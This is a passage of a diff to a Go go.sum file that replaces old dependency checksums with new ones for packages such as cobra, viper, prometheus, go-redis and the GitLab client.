h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= +github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= +github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826 h1:RWengNIwukTxcDr9M+97sNutRR1RKhG96O6jWumTTnw= +github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826/go.mod h1:TaXosZuwdSHYgviHp1DAtfrULt5eUgsSMsZf+YrPgl8= +github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= +github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= +github.com/onsi/ginkgo/v2 v2.9.2 h1:BA2GMJOtfGAfagzYtrAlufIP0lq6QERkFmHLMLPwFSU= +github.com/onsi/ginkgo/v2 v2.9.2/go.mod h1:WHcJJG2dIlcCqVfBAwUCrJxSPFb6v4azBwgxeMeDuts= +github.com/onsi/gomega v1.27.6 h1:ENqfyGeS5AX/rlXDd/ETokDz93u0YufY1Pgxuy/PvWE= +github.com/onsi/gomega v1.27.6/go.mod h1:PIQNjfQwkP3aQAH7lf7j87O/5FiNr+ZR8+ipb+qQlhg= +github.com/opentofu/tofudl v0.0.1 h1:r2uD4nxMnq0Qkzhh/C9Ldxjt+piTJi0R0C40Kf4d+a8= +github.com/opentofu/tofudl v0.0.1/go.mod h1:HeIabsnOzo0WMnIRqI13Ho6hEi6tu2nrQpzSddWL/9w= +github.com/pelletier/go-toml/v2 v2.2.3 h1:YmeHyLY8mFWbdkNWwpr+qIL2bEqT0o95WSdkNHvL12M= +github.com/pelletier/go-toml/v2 v2.2.3/go.mod h1:MfCQTFTvCcUyyvvwm1+G6H/jORL20Xlb6rzQu9GuUkc= +github.com/petergtz/pegomock/v4 v4.1.0 h1:Reoy2rlwshuxNaD2ZWp5TrSCrmoFH5SSLHb5U1z2pog= +github.com/petergtz/pegomock/v4 v4.1.0/go.mod h1:Xscaw/kXYcuh9sGsns+If19FnSMMQy4Wz60YJTn3XOU= +github.com/pjbgf/sha1cd v0.3.2 h1:a9wb0bp1oC2TGwStyn0Umc/IGKQnEgF0vVaZ8QF8eo4= +github.com/pjbgf/sha1cd v0.3.2/go.mod h1:zQWigSxVmsHEZow5qaLtPYxpcKMMQpa09ixqBxuCS6A= +github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= -github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= +github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U= +github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= +github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= +github.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M= +github.com/prometheus/client_golang v1.11.0/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= +github.com/prometheus/client_golang v1.12.1 h1:ZiaPsmm9uiBeaSMRznKsCDNtPCS0T3JVDGF+06gjBzk= +github.com/prometheus/client_golang v1.12.1/go.mod h1:3Z9XVyYiZYEO+YQWt3RD2R3jrbd179Rt297l4aS6nDY= +github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= +github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/client_model v0.2.0 h1:uq5h0d+GuxiXLJLNABMgp2qUWDPiLvgCzz2dUR+/W/M= +github.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= +github.com/prometheus/common v0.10.0/go.mod h1:Tlit/dnDKsSWFlCLTWaA1cyBgKHSMdTB80sz/V91rCo= +github.com/prometheus/common v0.26.0/go.mod h1:M7rCNAaPfAosfx8veZJCuw84e35h3Cfd9VFqTh1DIvc= +github.com/prometheus/common v0.32.1/go.mod h1:vu+V0TpY+O6vW9J44gczi3Ap/oXXR10b+M/gUGO4Hls= +github.com/prometheus/common v0.34.0 h1:RBmGO9d/FVjqHT0yUGQwBJhkwKV+wPCn7KGpvfab0uE= +github.com/prometheus/common v0.34.0/go.mod h1:gB3sOl7P0TvJabZpLY5uQMpUqRCPPCyRLCZYc7JZTNE= +github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= +github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= +github.com/prometheus/procfs v0.1.3/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU= +github.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= +github.com/prometheus/procfs v0.7.3/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= +github.com/prometheus/procfs v0.10.1 h1:kYK1Va/YMlutzCGazswoHKo//tZVlFpKYh+PymziUAg= +github.com/prometheus/procfs v0.10.1/go.mod h1:nwNm2aOCAYw8uTR/9bWRREkZFxAUcWzPHWJq+XBB/FM= +github.com/redis/go-redis/v9 v9.7.3 h1:YpPyAayJV+XErNsatSElgRZZVCwXX9QzkKYNvO7x0wM= +github.com/redis/go-redis/v9 v9.7.3/go.mod h1:bGUrSggJ9X9GUmZpZNEOQKaANxSGgOEBRltRTZHSvrA= github.com/remeh/sizedwaitgroup v1.0.0 h1:VNGGFwNo/R5+MJBf6yrsr110p0m4/OX4S3DCy7Kyl5E= github.com/remeh/sizedwaitgroup v1.0.0/go.mod h1:3j2R4OIe/SeS6YDhICBy22RWjJC5eNCJ1V+9+NVNYlo= -github.com/sergi/go-diff v1.0.0 h1:Kpca3qRNrduNnOQeazBd0ysaKrUJiIuISHxogkT9RPQ= -github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo= -github.com/shurcooL/githubv4 v0.0.0-20191127044304-8f68eb5628d0 h1:T9uus1QvcPgeLShS30YOnnzk3r9Vvygp45muhlrufgY= -github.com/shurcooL/githubv4 v0.0.0-20191127044304-8f68eb5628d0/go.mod h1:hAF0iLZy4td2EX+/8Tw+4nodhlMrwN3HupfaXj3zkGo= -github.com/shurcooL/graphql v0.0.0-20181231061246-d48a9a75455f h1:tygelZueB1EtXkPI6mQ4o9DQ0+FKW41hTbunoXZCTqk= -github.com/shurcooL/graphql v0.0.0-20181231061246-d48a9a75455f/go.mod h1:AuYgA5Kyo4c7HfUmvRGs/6rGlMMV/6B1bVnB9JxJEEg= -github.com/sirupsen/logrus v1.2.0 h1:juTguoYk5qI21pwyTXY3B3Y5cOTH3ZUyZCg1v/mihuo= +github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= +github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= +github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/sagikazarmark/locafero v0.7.0 h1:5MqpDsTGNDhY8sGp0Aowyf0qKsPrhewaLSsFaodPcyo= +github.com/sagikazarmark/locafero v0.7.0/go.mod h1:2za3Cg5rMaTMoG/2Ulr9AwtFaIppKXTRYnozin4aB5k= +github.com/samber/lo v1.38.1 h1:j2XEAqXKb09Am4ebOg31SpvzUTTs6EN3VfgeLUhPdXM= +github.com/samber/lo v1.38.1/go.mod h1:+m/ZKRl6ClXCE2Lgf3MsQlWfh4bn1bz6CXEOxnEXnEA= +github.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3 h1:n661drycOFuPLCN3Uc8sB6B/s6Z4t2xvBgU1htSHuq8= +github.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3/go.mod h1:A0bzQcvG0E7Rwjx0REVgAGH58e96+X0MeOfepqsbeW4= +github.com/shopspring/decimal v1.4.0 h1:bxl37RwXBklmTi0C79JfXCEBD1cqqHt0bbgBAGFp81k= +github.com/shopspring/decimal v1.4.0/go.mod h1:gawqmDU56v4yIKSwfBSFip1HdCCXN8/+DMd9qYNcwME= +github.com/shurcooL/githubv4 v0.0.0-20240727222349-48295856cce7 h1:cYCy18SHPKRkvclm+pWm1Lk4YrREb4IOIb/YdFO0p2M= +github.com/shurcooL/githubv4 v0.0.0-20240727222349-48295856cce7/go.mod h1:zqMwyHmnN/eDOZOdiTohqIUKUrTFX62PNlu7IJdu0q8= +github.com/shurcooL/graphql v0.0.0-20220606043923-3cf50f8a0a29 h1:B1PEwpArrNp4dkQrfxh/abbBAOZBVp0ds+fBEOUOqOc= +github.com/shurcooL/graphql v0.0.0-20220606043923-3cf50f8a0a29/go.mod h1:AuYgA5Kyo4c7HfUmvRGs/6rGlMMV/6B1bVnB9JxJEEg= github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= -github.com/spf13/afero v0.0.0-20170901052352-ee1bd8ee15a1 h1:9YWfpAdlPISN1kBzsAokT9SbSipcgt/BBM0lI9lawmo= -github.com/spf13/afero v0.0.0-20170901052352-ee1bd8ee15a1/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ= -github.com/spf13/cast v1.1.0 h1:0Rhw4d6C8J9VPu6cjZLIhZ8+aAOHcDvGeKn+cq5Aq3k= -github.com/spf13/cast v1.1.0/go.mod h1:r2rcYCSwa1IExKTDiTfzaxqT2FNHs8hODu4LnUfgKEg= -github.com/spf13/cobra v0.0.0-20170905172051-b78744579491 h1:XOya2OGpG7Q4gS4MYHRoFSTlBGnZD40X+Kw2ikFQFXE= -github.com/spf13/cobra v0.0.0-20170905172051-b78744579491/go.mod h1:1l0Ry5zgKvJasoi3XT1TypsSe7PqH0Sj9dhYf7v3XqQ= -github.com/spf13/jwalterweatherman v0.0.0-20170901151539-12bd96e66386 h1:zBoLErXXAvWnNsu+pWkRYl6Cx1KXmIfAVsIuYkPN6aY= -github.com/spf13/jwalterweatherman v0.0.0-20170901151539-12bd96e66386/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo= -github.com/spf13/pflag v1.0.2/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= -github.com/spf13/pflag v1.0.3 h1:zPAT6CGy6wXeQ7NtTnaTerfKOsV6V6F8agHXFiazDkg= -github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= -github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= -github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= -github.com/spf13/viper v1.0.0 h1:RUA/ghS2i64rlnn4ydTfblY8Og8QzcPtCcHvgMn+w/I= -github.com/spf13/viper v1.0.0/go.mod h1:A8kyI5cUJhb8N+3pkfONlcEcZbueH6nhAm0Fq7SrnBM= +github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= +github.com/sirupsen/logrus v1.6.0/go.mod h1:7uNnSEd1DgxDLC74fIahvMZmmYsHGZGEOFrfsX/uA88= +github.com/skeema/knownhosts v1.3.1 h1:X2osQ+RAjK76shCbvhHHHVl3ZlgDm8apHEHFqRjnBY8= +github.com/skeema/knownhosts v1.3.1/go.mod h1:r7KTdC8l4uxWRyK2TpQZ/1o5HaSzh06ePQNxPwTcfiY= +github.com/slack-go/slack v0.16.0 h1:khp/WCFv+Hb/B/AJaAwvcxKun0hM6grN0bUZ8xG60P8= +github.com/slack-go/slack v0.16.0/go.mod h1:hlGi5oXA+Gt+yWTPP0plCdRKmjsDxecdHxYQdlMQKOw= +github.com/sourcegraph/conc v0.3.0 h1:OQTbbt6P72L20UqAkXXuLOj79LfEanQ+YQFNpLA9ySo= +github.com/sourcegraph/conc v0.3.0/go.mod h1:Sdozi7LEKbFPqYX2/J+iBAM6HpqSLTASQIKqDmF7Mt0= +github.com/spf13/afero v1.12.0 h1:UcOPyRBYczmFn6yvphxkn9ZEOY65cpwGKb5mL36mrqs= +github.com/spf13/afero v1.12.0/go.mod h1:ZTlWwG4/ahT8W7T0WQ5uYmjI9duaLQGy3Q2OAl4sk/4= +github.com/spf13/cast v1.7.1 h1:cuNEagBQEHWN1FnbGEjCXL2szYEXqfJPbP2HNUaca9Y= +github.com/spf13/cast v1.7.1/go.mod h1:ancEpBxwJDODSW/UG4rDrAqiKolqNNh2DX3mk86cAdo= +github.com/spf13/cobra v1.9.1 h1:CXSaggrXdbHK9CF+8ywj8Amf7PBRmPCOJugH954Nnlo= +github.com/spf13/cobra v1.9.1/go.mod h1:nDyEzZ8ogv936Cinf6g1RU9MRY64Ir93oCnqb9wxYW0= +github.com/spf13/pflag v1.0.6 h1:jFzHGLGAlb3ruxLB8MhbI6A8+AQX/2eW4qeyNZXNp2o= +github.com/spf13/pflag v1.0.6/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/viper v1.20.1 h1:ZMi+z/lvLyPSCoNtFCpqjy0S4kPbirhpTMwl8BkW9X4= +github.com/spf13/viper v1.20.1/go.mod h1:P9Mdzt1zoHIG8m2eZQinpiBjo6kCmZSKBClNNqjJvu4= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= -github.com/stretchr/testify v1.4.0 h1:2E4SXV/wtOkTonXsotYi4li6zVWxYlZuYNCXe9XRJyk= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= -github.com/ulikunitz/xz v0.5.5/go.mod h1:2bypXElzHzzJZwzH67Y6wb67pO62Rzfn7BSiF4ABRW8= -github.com/ulikunitz/xz v0.5.6 h1:jGHAfXawEGZQ3blwU5wnWKQJvAraT7Ftq9EXjnXYgt8= -github.com/ulikunitz/xz v0.5.6/go.mod h1:2bypXElzHzzJZwzH67Y6wb67pO62Rzfn7BSiF4ABRW8= -github.com/urfave/cli v1.20.0 h1:fDqGv3UG/4jbVl/QkFwEdddtEDjh/5Ov6X+0B/3bPaw= -github.com/urfave/cli v1.20.0/go.mod h1:70zkFmudgCuE/ngEzBv17Jvp/497gISqfk5gWijbERA= -github.com/urfave/negroni v0.2.0 h1:cadBY8/+9L/dTagBqV7N0l/SJiB4Wg+os5QdmaFY5Wg= -github.com/urfave/negroni v0.2.0/go.mod h1:Meg73S6kFm/4PpbYdq35yYWoCZ9mS/YSx+lKnmiohz4= -github.com/vmihailenco/msgpack v3.3.3+incompatible/go.mod h1:fy3FlTQTDXWkZ7Bh6AcGMlsjHatGryHQYUTf1ShIgkk= -github.com/xanzy/go-gitlab v0.34.1 h1:Dtqla2gWIQIevfZVS6FY4qjgrKf+5LYLzW6XBNstGSw= -github.com/xanzy/go-gitlab v0.34.1/go.mod h1:sPLojNBn68fMUWSxIJtdVVIP8uSBYqesTfDUseX11Ug= -github.com/zclconf/go-cty v1.1.0 h1:uJwc9HiBOCpoKIObTQaLR+tsEXx1HBHnOsOOpcdhZgw= -github.com/zclconf/go-cty v1.1.0/go.mod h1:xnAOWiHeOqg2nWS62VtQ7pbOu17FtxJNW8RLEih+O3s= -github.com/zclconf/go-cty v1.2.0/go.mod h1:hOPWgoHbaTUnI5k4D2ld+GRpFJSCe6bCM7m1q/N4PQ8= -github.com/zclconf/go-cty v1.5.1 h1:oALUZX+aJeEBUe2a1+uD2+UTaYfEjnKFDEMRydkGvWE= -github.com/zclconf/go-cty v1.5.1/go.mod h1:nHzOclRkoj++EU9ZjSrZvRG0BXIWt8c7loYc0qXAFGQ= -go.etcd.io/bbolt v1.3.4 h1:hi1bXHMVrlQh6WwxAy+qZCV/SYIlqo+Ushwdpa4tAKg= -go.etcd.io/bbolt v1.3.4/go.mod h1:G5EMThwa9y8QZGBClrRx5EY+Yw9kAhnjy3bSjsnlVTQ= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= +github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= +github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8= +github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU= +github.com/twmb/murmur3 v1.1.8 h1:8Yt9taO/WN3l08xErzjeschgZU2QSrwm1kclYq+0aRg= +github.com/twmb/murmur3 v1.1.8/go.mod h1:Qq/R7NUyOfr65zD+6Q5IHKsJLwP7exErjN6lyyq3OSQ= +github.com/uber-go/tally/v4 v4.1.17 h1:C+U4BKtVDXTszuzU+WH8JVQvRVnaVKxzZrROFyDrvS8= +github.com/uber-go/tally/v4 v4.1.17/go.mod h1:ZdpiHRGSa3z4NIAc1VlEH4SiknR885fOIF08xmS0gaU= +github.com/ulikunitz/xz v0.5.11 h1:kpFauv27b6ynzBNT/Xy+1k+fK4WswhN/6PN5WhFAGw8= +github.com/ulikunitz/xz v0.5.11/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14= +github.com/urfave/negroni/v3 v3.1.1 h1:6MS4nG9Jk/UuCACaUlNXCbiKa0ywF9LXz5dGu09v8hw= +github.com/urfave/negroni/v3 v3.1.1/go.mod h1:jWvnX03kcSjDBl/ShB0iHvx5uOs7mAzZXW+JvJ5XYAs= +github.com/xanzy/ssh-agent v0.3.3 h1:+/15pJfg/RsTxqYcX6fHqOXZwwMP+2VyYWJeWM2qQFM= +github.com/xanzy/ssh-agent v0.3.3/go.mod h1:6dzNDKs0J9rVPHPhaGCukekBHKqfl+L3KghI1Bc68Uw= +github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= +github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= +github.com/yuin/gopher-lua v1.1.1 h1:kYKnWBjvbNP4XLT3+bPEwAXJx262OhaHDWDVOPjL46M= +github.com/yuin/gopher-lua v1.1.1/go.mod h1:GBR0iDaNXjAgGg9zfCvksxSRnQx76gclCIb7kdAd1Pw= +github.com/zclconf/go-cty v1.14.4 h1:uXXczd9QDGsgu0i/QFR/hzI5NYCHLf6NQw/atrbnhq8= +github.com/zclconf/go-cty v1.14.4/go.mod h1:VvMs5i0vgZdhYawQNq5kePSpLAoz8u1xvZgrPIxfnZE= +github.com/zclconf/go-cty-debug v0.0.0-20240509010212-0d6042c53940 h1:4r45xpDWB6ZMSMNJFMOjqrGHynW3DIBuR2H9j0ug+Mo= +github.com/zclconf/go-cty-debug v0.0.0-20240509010212-0d6042c53940/go.mod h1:CmBdvvj3nqzfzJ6nTCIwDTPZ56aVGvDrmztiO5g3qrM= +gitlab.com/gitlab-org/api/client-go v0.118.0 h1:qHIEw+XHt+2xuk4iZGW8fc6t+gTLAGEmTA5Bzp/brxs= +gitlab.com/gitlab-org/api/client-go v0.118.0/go.mod h1:E+X2dndIYDuUfKVP0C3jhkWvTSE00BkLbCsXTY3edDo= +go.etcd.io/bbolt v1.4.0 h1:TU77id3TnN/zKr7CO/uk+fBCwF2jGcMuw2B/FMAzYIk= +go.etcd.io/bbolt v1.4.0/go.mod h1:AsD+OCi/qPN1giOX1aiLAha3o1U8rAz65bvN4j0sRuk= go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= -go.opencensus.io v0.22.0 h1:C9hSCOW830chIVkdja34wa6Ky+IzWllkUinR+BtRZd4= go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= +go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.uber.org/atomic v1.11.0 h1:ZvwS0R+56ePWxUNi+Atn9dWONBPp/AUETXlHW0DxSjE= +go.uber.org/atomic v1.11.0/go.mod h1:LUxbIzbOniOlMKjJjyPfpl4v+PKK2cNJn91OQbhoJI0= +go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= +go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= +go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0= +go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y= +go.uber.org/zap v1.27.0 h1:aJMhYGrd5QSmlpLMr2MftRKl7t8J8PTZPA732ud/XR8= +go.uber.org/zap v1.27.0/go.mod h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E= golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= -golang.org/x/crypto v0.0.0-20190426145343-a29dc8fdc734/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20200403201458-baeed622b8d8 h1:fpnn/HnJONpIu6hkXi1u/7rR0NzilgWr4T0JmWkEitk= +golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200403201458-baeed622b8d8/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20210513164829-c07d793c2f9a/go.mod h1:P+XmwS30IXTQdn5tA2iutPOUgjI07+tq3H3K9MVA1s8= +golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.3.1-0.20221117191849-2c476679df9a/go.mod h1:hebNnKkNXi2UzZN1eVRvBB7co0a+JxK6XbPiWVs/3J4= +golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU= +golang.org/x/crypto v0.36.0 h1:AnAEvhDddvBdpY+uR+MyHmuZzzNqXSe/GvuDeob5L34= +golang.org/x/crypto v0.36.0/go.mod h1:Y4J0ReaxCR1IMaabaSMugxJES1EpwhBHhv2bDHklZvc= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= +golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek= +golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY= +golang.org/x/exp v0.0.0-20191129062945-2f5052295587/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= +golang.org/x/exp v0.0.0-20191227195350-da58074b4299/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= +golang.org/x/exp v0.0.0-20200119233911-0405dc783f0a/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= +golang.org/x/exp v0.0.0-20200207192155-f17229e696bd/go.mod h1:J/WKrq2StrnmMY6+EHIKF9dgMWnmCNThgcyBT1FY9mM= +golang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6/go.mod h1:3jZMyOhIsHpP37uCMkUooju7aAi5cS1Q23tOzKc+0MU= +golang.org/x/exp v0.0.0-20231006140011-7918f672742d h1:jtJma62tbqLibJ5sFQz8bKtEM8rJBtfilJ2qTU199MI= +golang.org/x/exp v0.0.0-20231006140011-7918f672742d/go.mod h1:ldy0pHrwJyGW56pPQzzkH36rKxoZW1tw7ZJpeKx+hdo= golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= +golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= golang.org/x/lint 